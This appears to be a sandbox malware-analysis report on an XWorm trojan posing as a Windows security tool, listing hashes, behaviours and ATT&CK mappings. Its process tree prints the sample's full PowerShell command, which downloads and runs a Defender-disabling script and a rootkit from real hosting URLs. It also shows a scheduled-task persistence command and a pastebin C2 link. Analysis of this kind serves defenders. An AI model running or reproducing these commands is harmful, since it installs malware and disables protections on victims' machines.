Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

Credential...on.exe

windows10-2004-x64

Analysis

  • max time kernel
    250s
  • max time network
    257s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2025, 22:49

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    Credential Guard & VBS Key Isolation.exe

  • Size

    55KB

  • MD5

    dac20ddb2cfb3cb89ce5bcd907c796df

  • SHA1

    84ec40d9a683ed62a25f8e1e570b0a2ee3987af0

  • SHA256

    9a727d5cfc4c67cb0d3c0f8195087042fd04b83bb29cbe0c0439a4094a2adfc7

  • SHA512

    5a3199f76bc18eb20a1e9e7d0bdbadbff3deaa06ec00b3aee33360f1497cc22ae0bc1a125aeaadcef1647c5f03cb386bfbc62375ca5e70ac57c01168043c8762

  • SSDEEP

    768:iPZlFQ+v3HM88U6lB5hNfLShjqmEsbYt+UcYzF6t/X62GJhJOZouejI:iPK+vMhHatbYZJzG/gbOGu7

Score
10/10
xwormbootkitdefense_evasiondiscoveryexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 7 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 7 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 22 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of UnmapMainImage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:644
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:480
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{42445076-95b2-40cd-9177-f893046be572}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1992
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:700
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:984
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:712
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1040
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1088
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1116
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                  1⤵
                  • Indicator Removal: Clear Windows Event Logs
                  PID:1232
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1240
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2812
                    • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                      "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:5168
                    • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                      "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:4572
                    • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                      "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:3660
                    • C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe
                      "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:4360
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1288
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1348
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1376
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                          1⤵
                            PID:1452
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                            1⤵
                              PID:1468
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1488
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2676
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                  1⤵
                                    PID:1496
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1648
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1716
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1732
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1812
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                            • Modifies Internet Explorer settings
                                            PID:1868
                                            • C:\Windows\system32\AUDIODG.EXE
                                              C:\Windows\system32\AUDIODG.EXE 0x404 0x514
                                              2⤵
                                                PID:3648
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                              1⤵
                                                PID:2000
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1164
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1388
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2060
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2072
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2220
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2272
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2372
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2548
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2556
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                1⤵
                                                                  PID:2700
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:2788
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                  1⤵
                                                                    PID:2824
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2860
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2876
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2888
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2900
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:3112
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3436
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3508
                                                                                • C:\Users\Admin\AppData\Local\Temp\Credential Guard & VBS Key Isolation.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Credential Guard & VBS Key Isolation.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Adds Run key to start application
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:2748
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Downloads MZ/PE file
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:5812
                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2644
                                                                                      • C:\ProgramData\MasonRootkit.exe
                                                                                        "C:\ProgramData\MasonRootkit.exe"
                                                                                        5⤵
                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:5244
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4F82.tmp.bat""
                                                                                        5⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2228
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          6⤵
                                                                                            PID:1404
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout 3
                                                                                            6⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:5672
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Credential Guard & VBS Key Isolation" /tr "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
                                                                                      3⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:1832
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Knuckles.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Knuckles.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Writes to the Master Boot Record (MBR)
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1780
                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                                    2⤵
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:764
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3680
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3888
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:4052
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:4212
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4440
                                                                                      • C:\Windows\System32\svchost.exe
                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                        1⤵
                                                                                          PID:2344
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                          1⤵
                                                                                            PID:2312
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:1928
                                                                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                            1⤵
                                                                                            • Drops file in System32 directory
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4668
                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4304
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:3340
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:5784
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:1980
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                  1⤵
                                                                                                    PID:5272
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious use of UnmapMainImage
                                                                                                    PID:1216
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:4544
                                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                      C:\Windows\System32\WaaSMedicAgent.exe c5a60895ff4132ccfd0b08264de66424 nUIOEranYkSEqrTGCPSI7Q.0.1.0.0.0
                                                                                                      1⤵
                                                                                                      • Sets service image path in registry
                                                                                                      PID:5144
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        2⤵
                                                                                                          PID:3968
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                        1⤵
                                                                                                          PID:3036
                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                          1⤵
                                                                                                          • Checks BIOS information in registry
                                                                                                          • Checks SCSI registry key(s)
                                                                                                          • Enumerates system info in registry
                                                                                                          PID:3548
                                                                                                        • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                          C:\Windows\servicing\TrustedInstaller.exe
                                                                                                          1⤵
                                                                                                            PID:4888
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                            1⤵
                                                                                                            • Checks processor information in registry
                                                                                                            PID:5868
                                                                                                          • C:\Windows\System32\mousocoreworker.exe
                                                                                                            C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Checks processor information in registry
                                                                                                            • Enumerates system info in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:3708
                                                                                                          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:828
                                                                                                            • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                              1⤵
                                                                                                                PID:3288
                                                                                                              • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                1⤵
                                                                                                                  PID:5652
                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                  1⤵
                                                                                                                    PID:1880
                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:5156

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Reconnaissance

                                                                                                                    Resource Development

                                                                                                                    Initial Access

                                                                                                                    Execution

                                                                                                                    Command and Scripting Interpreter

                                                                                                                    1
                                                                                                                    T1059

                                                                                                                    PowerShell

                                                                                                                    1
                                                                                                                    T1059.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Persistence

                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                    2
                                                                                                                    T1547

                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                    2
                                                                                                                    T1547.001

                                                                                                                    Pre-OS Boot

                                                                                                                    1
                                                                                                                    T1542

                                                                                                                    Bootkit

                                                                                                                    1
                                                                                                                    T1542.003

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Privilege Escalation

                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                    2
                                                                                                                    T1547

                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                    2
                                                                                                                    T1547.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    Defense Evasion

                                                                                                                    Indicator Removal

                                                                                                                    1
                                                                                                                    T1070

                                                                                                                    Clear Windows Event Logs

                                                                                                                    1
                                                                                                                    T1070.001

                                                                                                                    Modify Registry

                                                                                                                    3
                                                                                                                    T1112

                                                                                                                    Pre-OS Boot

                                                                                                                    1
                                                                                                                    T1542

                                                                                                                    Bootkit

                                                                                                                    1
                                                                                                                    T1542.003

                                                                                                                    Credential Access

                                                                                                                    Discovery

                                                                                                                    Peripheral Device Discovery

                                                                                                                    1
                                                                                                                    T1120

                                                                                                                    Query Registry

                                                                                                                    6
                                                                                                                    T1012

                                                                                                                    System Information Discovery

                                                                                                                    6
                                                                                                                    T1082

                                                                                                                    System Location Discovery

                                                                                                                    1
                                                                                                                    T1614

                                                                                                                    System Language Discovery

                                                                                                                    1
                                                                                                                    T1614.001

                                                                                                                    Lateral Movement

                                                                                                                    Collection

                                                                                                                    Command and Control

                                                                                                                    Web Service

                                                                                                                    1
                                                                                                                    T1102

                                                                                                                    Exfiltration

                                                                                                                    Impact

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\ProgramData\MasonRootkit.exe
                                                                                                                      Filesize

                                                                                                                      596KB

                                                                                                                      MD5

                                                                                                                      bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                      SHA1

                                                                                                                      1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                      SHA256

                                                                                                                      8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                      SHA512

                                                                                                                      2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                      Download Submit

                                                                                                                    • C:\ProgramData\Microsoft\Windows\OneSettings\config.json
                                                                                                                      Filesize

                                                                                                                      5KB

                                                                                                                      MD5

                                                                                                                      cfa15d48af384510f69cdc66cc4bbbc1

                                                                                                                      SHA1

                                                                                                                      fc9d90052c0d2f8efa12e89ccb9fd469d569a01e

                                                                                                                      SHA256

                                                                                                                      8a1b4471575c8e690629164847ce42f8c213d8654328430a56ca2b9243256c85

                                                                                                                      SHA512

                                                                                                                      bb343d592a5c650ea962b0bb8446dcf1c3b86d2b913141f6df7a7d99516a7084c375e0e4006ce35f39268c58cd46a6fc527aaf5bbc36be68a7e917128cef298d

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Credential Guard & VBS Key Isolation.exe.log
                                                                                                                      Filesize

                                                                                                                      654B

                                                                                                                      MD5

                                                                                                                      2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                      SHA1

                                                                                                                      684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                      SHA256

                                                                                                                      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                      SHA512

                                                                                                                      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log
                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      3982d6d16fd43ae609fd495bb33433a2

                                                                                                                      SHA1

                                                                                                                      6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                      SHA256

                                                                                                                      9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                      SHA512

                                                                                                                      4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Knuckles.exe
                                                                                                                      Filesize

                                                                                                                      289KB

                                                                                                                      MD5

                                                                                                                      7e9d3109b138c0a67be983159fbbde98

                                                                                                                      SHA1

                                                                                                                      012308407fada7ecb5edfe4e067fa4d18acba424

                                                                                                                      SHA256

                                                                                                                      1f98a3f8852d28ed3b2f64e529c1ae1eafc5ef942a962ec89163f3db2744c8a4

                                                                                                                      SHA512

                                                                                                                      ac6a5a4ec87fe8770c1903f62d181f94366b2f9b3d3a4e8a04ec7f25b9e9d026762efc96ba5883474b9d1c2d0cca4a99e12f0343f6eac51af12d628a926a5e12

                                                                                                                      Download Submit

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                      Filesize

                                                                                                                      612KB

                                                                                                                      MD5

                                                                                                                      5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                      SHA1

                                                                                                                      786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                      SHA256

                                                                                                                      80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                      SHA512

